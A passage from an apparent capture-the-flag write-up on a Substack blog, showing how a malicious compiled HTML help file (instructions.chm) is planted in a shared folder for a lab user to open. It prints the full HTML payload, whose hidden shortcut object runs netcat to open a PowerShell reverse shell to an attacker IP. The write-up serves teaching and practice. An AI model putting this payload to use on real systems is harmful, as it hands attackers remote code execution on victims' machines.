data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:249,&quot;width&quot;:567,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:13811,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!DzwE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png 424w, https://substackcdn.com/image/fetch/$s_!DzwE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png 848w, https://substackcdn.com/image/fetch/$s_!DzwE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png 1272w, https://substackcdn.com/image/fetch/$s_!DzwE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff2ad6021-fe62-45fc-bf89-20fae293432f_567x249.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Within the folder, there is a `notes.txt` file:</p><pre><code>PS C:\Docs&gt; gci -recurse
gci -recurse


    Directory: C:\Docs


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        4/11/2019   9:31 AM            285 note.txt
-a----        4/11/2019   9:17 AM         552607 php for dummies-trial.pdf



PS C:\Docs&gt; gc note.txt
gc note.txt
Hi Chris,
        Your php skillz suck. Contact yamitenshi so that he teaches you how to use it and after that fix the website as there are a lot of bugs on it. And I hope that you've prepared the documentation for our new app. Drop it here when you're done with it.

Regards,
Sniper CEO.</code></pre><p><em>A bit mean...</em></p><p>It seems Chris has already prepared the instructions in the `instructions.chm` file, and the CEO is waiting for them to be provided in the shared location (C: Docs).</p><p>As compiled HTML files can execute scripts and contain active content, a malicious version of the instructions.chm can be created and dropped into C:\Docs.</p><p>Presumably, the CEO will then open it and execute the payload within a new user context.</p><h2>Malicious file construction</h2><p>To construct the malicious <strong>instructions.chm </strong>file, Microsoft&#8217;s HTML Help Workshop tool can be used.</p><div class="pullquote"><p><em>It took me a while to find the application. At the time of writing, this link worked: <a href="https://sevenlayers.com/index.php/316-malicious-chm">https://www.helpandmanual.com/downloads_mscomp.html</a></em></p><p>I also attempted to do this natively within my Linux machines, using <code>wine, </code>but it became <strong>such </strong>a headache. If you know of a way to construct .chm files natively in Linux, please reach out!</p></div><blockquote><p><a href="https://sevenlayers.com/index.php/316-malicious-chm">This article</a> was also helpful in constructing the malicious .chm file.</p></blockquote><p>Start a new project in HTML Help Workshop.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!cHZa!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!cHZa!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png 424w, https://substackcdn.com/image/fetch/$s_!cHZa!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png 848w, https://substackcdn.com/image/fetch/$s_!cHZa!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png 1272w, https://substackcdn.com/image/fetch/$s_!cHZa!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!cHZa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png" width="805" height="455" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:455,&quot;width&quot;:805,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:12255,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!cHZa!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png 424w, https://substackcdn.com/image/fetch/$s_!cHZa!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png 848w, https://substackcdn.com/image/fetch/$s_!cHZa!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png 1272w, https://substackcdn.com/image/fetch/$s_!cHZa!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F778c5eb6-4077-4b89-b6e1-cace72cd02b6_805x455.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!6xn-!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!6xn-!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png 424w, https://substackcdn.com/image/fetch/$s_!6xn-!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png 848w, https://substackcdn.com/image/fetch/$s_!6xn-!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png 1272w, https://substackcdn.com/image/fetch/$s_!6xn-!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!6xn-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png" width="807" height="519" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:519,&quot;width&quot;:807,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:17564,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!6xn-!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png 424w, https://substackcdn.com/image/fetch/$s_!6xn-!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png 848w, https://substackcdn.com/image/fetch/$s_!6xn-!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png 1272w, https://substackcdn.com/image/fetch/$s_!6xn-!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F794a5bb4-7f89-4346-a67f-f3140591298a_807x519.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Follow the wizard through and give the project a name.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_zbN!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_zbN!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png 424w, https://substackcdn.com/image/fetch/$s_!_zbN!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png 848w, https://substackcdn.com/image/fetch/$s_!_zbN!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png 1272w, https://substackcdn.com/image/fetch/$s_!_zbN!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_zbN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png" width="810" height="559" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:559,&quot;width&quot;:810,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26344,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_zbN!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png 424w, https://substackcdn.com/image/fetch/$s_!_zbN!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png 848w, https://substackcdn.com/image/fetch/$s_!_zbN!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png 1272w, https://substackcdn.com/image/fetch/$s_!_zbN!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F98888ca1-61b5-44cb-85c6-6c85dcbf9f1b_810x559.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Select to include HTML files (.htm).</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!7PZb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!7PZb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png 424w, https://substackcdn.com/image/fetch/$s_!7PZb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png 848w, https://substackcdn.com/image/fetch/$s_!7PZb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png 1272w, https://substackcdn.com/image/fetch/$s_!7PZb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!7PZb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png" width="811" height="581" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:581,&quot;width&quot;:811,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:28600,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!7PZb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png 424w, https://substackcdn.com/image/fetch/$s_!7PZb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png 848w, https://substackcdn.com/image/fetch/$s_!7PZb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png 1272w, https://substackcdn.com/image/fetch/$s_!7PZb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbae074b4-c7f9-4480-a5c3-58e2f418a8ec_811x581.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Now, create a .html file.</p><pre><code>&lt;html&gt;
&lt;title&gt; Malicious CHM &lt;/title&gt;
&lt;head&gt;
&lt;/head&gt;
&lt;body&gt;
 
&lt;h2 align=center&gt; Malicious CHM &lt;/h2&gt;
&lt;p&gt;
&lt;h3 align=center&gt; This is a malicious CHM file &lt;/h3&gt;
&lt;/p&gt;
&lt;/body&gt;
&lt;/html&gt;
 
&lt;OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1&gt;
&lt;PARAM name="Command" value="ShortCut"&gt;
&lt;PARAM name="Button" value="Bitmap:shortcut"&gt;
&lt;PARAM name="Item1" value=",cmd,/c C:\Users\Chris\nc.exe 10.10.14.4 1234 -e powershell.exe"&gt;
&lt;PARAM name="Item2" value="273,1,1"&gt;
 
&lt;/OBJECT&gt;
&lt;SCRIPT&gt;
shortcut.Click();
&lt;/SCRIPT&gt;
</code></pre><blockquote><p>This file will call the nc.exe from C:\Users\Chris\ and then attempt to establish a connection back to the attack machine on Port 1234</p></blockquote><p>Add the file to the project.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!WsEA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!WsEA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png 424w, https://substackcdn.com/image/fetch/$s_!WsEA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png 848w, https://substackcdn.com/image/fetch/$s_!WsEA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png 1272w, https://substackcdn.com/image/fetch/$s_!WsEA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!WsEA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png" width="806" height="573" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:573,&quot;width&quot;:806,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26537,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!WsEA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png 424w, https://substackcdn.com/image/fetch/$s_!WsEA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png 848w, https://substackcdn.com/image/fetch/$s_!WsEA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd1d7b55a-1438-4eee-87f1-10522edc3421_806x573.png 1272w, 